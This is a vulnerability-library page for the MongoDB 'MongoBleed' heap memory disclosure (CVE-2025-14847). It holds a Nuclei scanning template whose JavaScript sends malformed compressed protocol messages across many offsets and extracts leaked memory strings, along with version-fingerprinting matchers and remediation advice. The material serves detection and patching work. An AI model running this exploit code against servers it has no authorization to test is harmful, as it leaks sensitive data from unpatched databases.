/Vulnerability Library

MongoDB Server - Information Disclosure (MongoBleed)

CVE-2025-14847
Early Release

Description

Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.

Severity

High

Published Date

December 27, 2025

Template Author

pussycat0x, joe-desimone, dhiyaneshdk

CVE-2025-14847.yaml
id: CVE-2025-14847

info:
  name: MongoDB Server - Information Disclosure (MongoBleed)
  author: pussycat0x,joe-desimone,DhiyaneshDK
  severity: high
  description: |
    Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.
  impact: |
    Unauthenticated clients can read uninitialized heap memory, potentially exposing sensitive information.
  remediation: |
    Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later.
  reference:
    - https://jira.mongodb.org/browse/SERVER-115508
    - https://github.com/joe-desimone/mongobleed
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev

flow: javascript(1) || tcp(1)

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const net = require('nuclei/net');

      function uint32ToHexLE(value) {
        const bytes = [
          (value & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 8) & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 16) & 0xFF).toString(16).padStart(2, '0'),
          ((value >> 24) & 0xFF).toString(16).padStart(2, '0')
        ];
        return bytes.join('');
      }

      function int32ToHexLE(value) {
        const unsigned = value >>> 0;
        return uint32ToHexLE(unsigned);
      }

      const staticCompressed = "789c6360000211201648646004520003a60087";

      function stringToBytes(str) {
        const bytes = [];
        for (let i = 0; i < str.length; i++) {
          bytes.push(str.charCodeAt(i));
        }
        return bytes;
      }

      function findBytePattern(bytes, pattern) {
        if (pattern.length === 0 || bytes.length < pattern.length) {
          return -1;
        }
        for (let i = 0; i <= bytes.length - pattern.length; i++) {
          let match = true;
          for (let j = 0; j < pattern.length; j++) {
            if (bytes[i + j] !== pattern[j]) {
              match = false;
              break;
            }
          }
          if (match) {
            return i;
          }
        }
        return -1;
      }

      function extractStringFromBytes(bytes, start, maxLen) {
        let str = "";
        for (let i = start; i < Math.min(start + maxLen, bytes.length); i++) {
          if (bytes[i] === 0) break;
          if (bytes[i] >= 32 && bytes[i] < 127) {
            str += String.fromCharCode(bytes[i]);
          } else {
            break;
          }
        }
        return str;
      }

      function extractLeaks(responseBytes) {
        if (!responseBytes || responseBytes.length < 16) {
          return [];
        }

        const leaks = [];
        let raw = [];

        try {
          const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
          const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);

          if (opcode === 0) {
            raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
          } else if (opcode === 2012) {
            raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
          } else {
            raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
          }
        } catch (e) {
          raw = responseBytes.length > 16 ? responseBytes.slice(16) : [];
        }

        if (raw.length === 0) {
          return leaks;
        }

        const fieldNamePattern = stringToBytes("field name '");
        let searchPos = 0;
        while (true) {
          const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern);
          if (pos === -1) break;

          const actualPos = searchPos + pos + fieldNamePattern.length;
          let fieldName = "";
          for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) {
            if (raw[i] === 39) {
              break;
            }
            if (raw[i] >= 32 && raw[i] < 127) {
              fieldName += String.fromCharCode(raw[i]);
            } else {
              break;
            }
          }

          if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') {
            leaks.push(fieldName);
          }

          searchPos = actualPos + 1;
          if (searchPos >= raw.length) break;
        }

        const typePattern = stringToBytes("type ");
        searchPos = 0;
        while (true) {
          const pos = findBytePattern(raw.slice(searchPos), typePattern);
          if (pos === -1) break;

          const actualPos = searchPos + pos + typePattern.length;
          let numStr = "";
          for (let i = actualPos; i < raw.length && i < actualPos + 10; i++) {
            if (raw[i] >= 48 && raw[i] <= 57) {
              numStr += String.fromCharCode(raw[i]);
            } else {
              break;
            }
          }

          if (numStr) {
            const typeByte = parseInt(numStr) & 0xFF;
            leaks.push(String.fromCharCode(typeByte));
          }

          searchPos = actualPos + 1;
          if (searchPos >= raw.length) break;
        }

        const invalidBSONPattern = stringToBytes("InvalidBSON");
        const bsonLengthPattern = stringToBytes("bson length");
        const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1;
        const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1;

        let printableSeq = "";
        for (let i = 0; i < raw.length; i++) {
          if (raw[i] >= 32 && raw[i] < 127) {
            printableSeq += String.fromCharCode(raw[i]);
          } else {
            if (printableSeq.length >= 10) {
              const lower = printableSeq.toLowerCase();
              if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
                  lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
                  lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
                leaks.push(printableSeq);
              }
            }
            printableSeq = "";
          }
        }
        if (printableSeq.length >= 10) {
          const lower = printableSeq.toLowerCase();
          if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
              lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
              lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
            leaks.push(printableSeq);
          }
        }

        if (hasInvalidBSON || hasBsonLength) {
          let currentStr = "";
          for (let i = 0; i < raw.length; i++) {
            const byte = raw[i];
            if ((byte >= 48 && byte <= 57) || (byte >= 65 && byte <= 90) || (byte >= 97 && byte <= 122) || byte === 95 || byte === 45 || byte === 46) {
              currentStr += String.fromCharCode(byte);
            } else {
              if (currentStr.length >= 10) {
                const lower = currentStr.toLowerCase();
                if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
                    lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
                    lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
                    lower !== 'unknown id') {
                  leaks.push(currentStr);
                }
              }
              currentStr = "";
            }
          }
          if (currentStr.length >= 10) {
            const lower = currentStr.toLowerCase();
            if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
                lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
                lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
                lower !== 'unknown id') {
              leaks.push(currentStr);
            }
          }
        }

        let hexStr = "";
        for (let i = 0; i < raw.length; i++) {
          hexStr += raw[i].toString(16).padStart(2, '0');
        }

        let hexPos = 0;
        while (hexPos < hexStr.length) {
          let hexMatch = "";

          while (hexPos < hexStr.length && ((hexStr[hexPos] >= '0' && hexStr[hexPos] <= '9') || (hexStr[hexPos] >= 'a' && hexStr[hexPos] <= 'f'))) {
            hexMatch += hexStr[hexPos];
            hexPos++;
          }

          if (hexMatch.length >= 20) {
            try {
              const hexBytes = [];
              for (let i = 0; i < hexMatch.length; i += 2) {
                if (i + 1 < hexMatch.length) {
                  const byte = parseInt(hexMatch.substr(i, 2), 16);
                  hexBytes.push(byte);
                }
              }

              let printableCount = 0;
              for (let i = 0; i < Math.min(50, hexBytes.length); i++) {
                if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
                  printableCount++;
                }
              }

              if (printableCount > hexBytes.length * 0.5) {
                let decodedStr = "";
                for (let i = 0; i < hexBytes.length; i++) {
                  if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
                    decodedStr += String.fromCharCode(hexBytes[i]);
                  }
                }
                if (decodedStr.length >= 10) {
                  leaks.push(decodedStr);
                }
              }
            } catch (e) {
            }
          }

          if (hexPos < hexStr.length) {
            hexPos++;
          } else {
            break;
          }
        }

        return leaks;
      }

      const minOffset = parseInt(MinOffset) || 20;
      const maxOffset = parseInt(MaxOffset) || 8192;
      const allOutput = [];
      let totalResponses = 0;

      for (let docLen = minOffset; docLen < maxOffset; docLen++) {
        const bufferSize = docLen + 500;

        let payloadHex = uint32ToHexLE(2013);
        payloadHex += int32ToHexLE(bufferSize);
        payloadHex += "02";
        payloadHex += staticCompressed;

        const payloadBytes = payloadHex.length / 2;
        const messageLength = 16 + payloadBytes;

        let headerHex = uint32ToHexLE(messageLength);
        headerHex += uint32ToHexLE(1);
        headerHex += uint32ToHexLE(0);
        headerHex += uint32ToHexLE(2012);

        const fullMessage = headerHex + payloadHex;

        try {
          const conn = net.Open('tcp', `${Host}:${Port}`);
          if (!conn) {
            continue;
          }
          conn.SetTimeout(10);
          conn.SendHex(fullMessage);

          let responseBytes = [];
          while (true) {
            const chunk = conn.Recv(2048);
            if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) {
              break;
            }

            const chunkBytes = [];
            if (Array.isArray(chunk)) {
              for (let i = 0; i < chunk.length; i++) {
                const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]);
                if (!isNaN(byte)) {
                  chunkBytes.push(byte);
                }
              }
            } else if (typeof chunk === 'string') {
              for (let i = 0; i < chunk.length; i++) {
                chunkBytes.push(chunk.charCodeAt(i));
              }
            }

            if (chunkBytes.length > 0) {
              responseBytes = responseBytes.concat(chunkBytes);
            }

            if (responseBytes.length < 4) {
              continue;
            }

            const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
            if (responseBytes.length >= msgLen) {
              break;
            }
          }

          conn.Close();
          totalResponses++;

          if (responseBytes.length > 0) {
            const leaks = extractLeaks(responseBytes);

              let hasLeaks = false;

              for (let i = 0; i < leaks.length; i++) {
                const leak = leaks[i];
                if (leak && leak.length > 0) {
                  hasLeaks = true;
                  break;
                }
              }

              if (!hasLeaks && responseBytes.length > 16) {
                try {
                  const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
                  const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);

                  let raw = [];
                  if (opcode === 2012) {
                    raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
                  } else {
                    raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
                  }

                  const invalidBSONPattern = stringToBytes("InvalidBSON");
                  const bsonLengthPattern = stringToBytes("bson length");
                  if (findBytePattern(raw, invalidBSONPattern) !== -1 || findBytePattern(raw, bsonLengthPattern) !== -1) {
                    if (raw.length > 50) {
                      hasLeaks = true;
                    }
                  }
                } catch (e) {
                }
              }

              if (hasLeaks) {
                allOutput.push(`leak found at offset ${docLen}`);
                break;
              }
          }
        } catch (e) {
        }
      }

      if (allOutput.length > 0) {
        allOutput.join('\n')
      } else {
        ""
      }

    args:
      Host: "{{Host}}"
      Port: 27017
      MinOffset: 20
      MaxOffset: 8192

    extractors:
      - type: dsl
        dsl:
          - response

tcp:
  - inputs:
      - data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000
        type: hex

    host:
      - "{{Hostname}}"
    port: 27017
    read-size: 2048

    matchers:
      - type: word
        part: raw
        words:
          - "version"
          - "maxBsonObjectSize"
        condition: and

      - type: dsl
        dsl:
          - "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')"
          - "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')"
          - "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')"
          - "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')"
          - "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')"
        condition: or

    extractors:
      - type: regex
        name: version
        part: raw
        group: 1
        regex:
          - '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)'
# digest: 490a004630440220412cb2bb91a0877879b6a74c0dd1aaabd1aefee3b648ce30467182247438392402201399d9ece76cfa852e1a10b85fbd0e686836cba2fe8a3d91550e484521ce6875:922c64590222798bb761d5b6d8e72950
7.5Severity

CVSS Metrics

References

https://jira.mongodb.org/browse/SERVER-115508https://github.com/joe-desimone/mongobleed

Remediation Steps

Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later.